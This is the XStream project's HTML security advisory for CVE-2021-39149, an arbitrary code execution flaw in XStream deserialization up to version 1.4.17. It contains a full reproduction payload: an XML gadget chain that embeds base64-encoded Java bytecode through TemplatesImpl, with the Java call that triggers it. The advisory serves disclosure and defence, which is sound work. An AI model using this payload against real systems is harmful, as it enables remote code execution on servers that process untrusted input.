Codebase list libxstream-java / d065e025-cdb6-47bf-b698-8cb38f20e7a7/main xstream-distribution / src / content / CVE-2021-39149.html
d065e025-cdb6-47bf-b698-8cb38f20e7a7/main

Tree @d065e025-cdb6-47bf-b698-8cb38f20e7a7/main (Download .tar.gz)

CVE-2021-39149.html @d065e025-cdb6-47bf-b698-8cb38f20e7a7/mainraw · history · blame

<html>
<!--
 Copyright (C) 2021 XStream committers.
 All rights reserved.
 
 The software in this package is published under the terms of the BSD
 style license a copy of which has been included with this distribution in
 the LICENSE.txt file.
 
 Created on 26. June 2021 by Joerg Schaible
 -->
  <head>
    <title>CVE-2021-39149</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>
    
    <p>CVE-2021-39149: XStream is vulnerable to an Arbitrary Code Execution attack.</p>
    
    <h2 id="affected_versions">Affected Versions</h2>
    
    <p>All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is
    affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
    framework</a> with a whitelist limited to the minimal required types.</p>

    <h2 id="description">Description</h2>
    
    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

    <p>Create a simple LinkedHashSet and use XStream to marshal it to XML.  Replace the XML with following snippet and
    unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;linked-hash-set&gt;
  &lt;dynamic-proxy&gt;
    &lt;interface&gt;map&lt;/interface&gt;
    &lt;handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'&gt;
	  &lt;classToInvocationHandler class='linked-hash-map'/&gt;
      &lt;defaultHandler class='sun.tracing.NullProvider'&gt;
        &lt;active&gt;true&lt;/active&gt;
        &lt;providerType&gt;java.lang.Object&lt;/providerType&gt;
        &lt;probes&gt;
          &lt;entry&gt;
            &lt;method&gt;
              &lt;class&gt;java.lang.Object&lt;/class&gt;
              &lt;name&gt;hashCode&lt;/name&gt;
              &lt;parameter-types/&gt;
            &lt;/method&gt;
            &lt;sun.tracing.dtrace.DTraceProbe&gt;
              &lt;proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/&gt;
                &lt;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&gt;
                  &lt;default&gt;
                    &lt;__name&gt;Pwnr&lt;/__name&gt;
                    &lt;__bytecodes&gt;
                      &lt;byte-array&gt;yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5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AAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=&lt;/byte-array&gt;
                      &lt;byte-array&gt;yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ&lt;/byte-array&gt;
                    &lt;/__bytecodes&gt;
                    &lt;__transletIndex&gt;-1&lt;/__transletIndex&gt;
                    &lt;__indentNumber&gt;0&lt;/__indentNumber&gt;
                  &lt;/default&gt;
                &lt;/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&gt;
              &lt;/proxy&gt;
              &lt;implementing__method&gt;
                &lt;class&gt;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&lt;/class&gt;
                &lt;name&gt;getOutputProperties&lt;/name&gt;
                &lt;parameter-types/&gt;
              &lt;/implementing__method&gt;
            &lt;/sun.tracing.dtrace.DTraceProbe&gt;
          &lt;/entry&gt;
        &lt;/probes&gt;
      &lt;/defaultHandler&gt;
    &lt;/handler&gt;
  &lt;/dynamic-proxy&gt;
&lt;/linked-hash-set&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>As soon as the XML gets unmarshalled, the code from the payload gets executed on the host.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

    <p>The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed
    input stream.</p>

    <h2 id="workarounds">Workarounds</h2>

    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

    <h2 id="credits">Credits</h2>
    
    <p>Lai Han of NSFOCUS security team found and reported the issue to XStream and provided the required information
    to reproduce it.</p>
    
      </body>
 </html>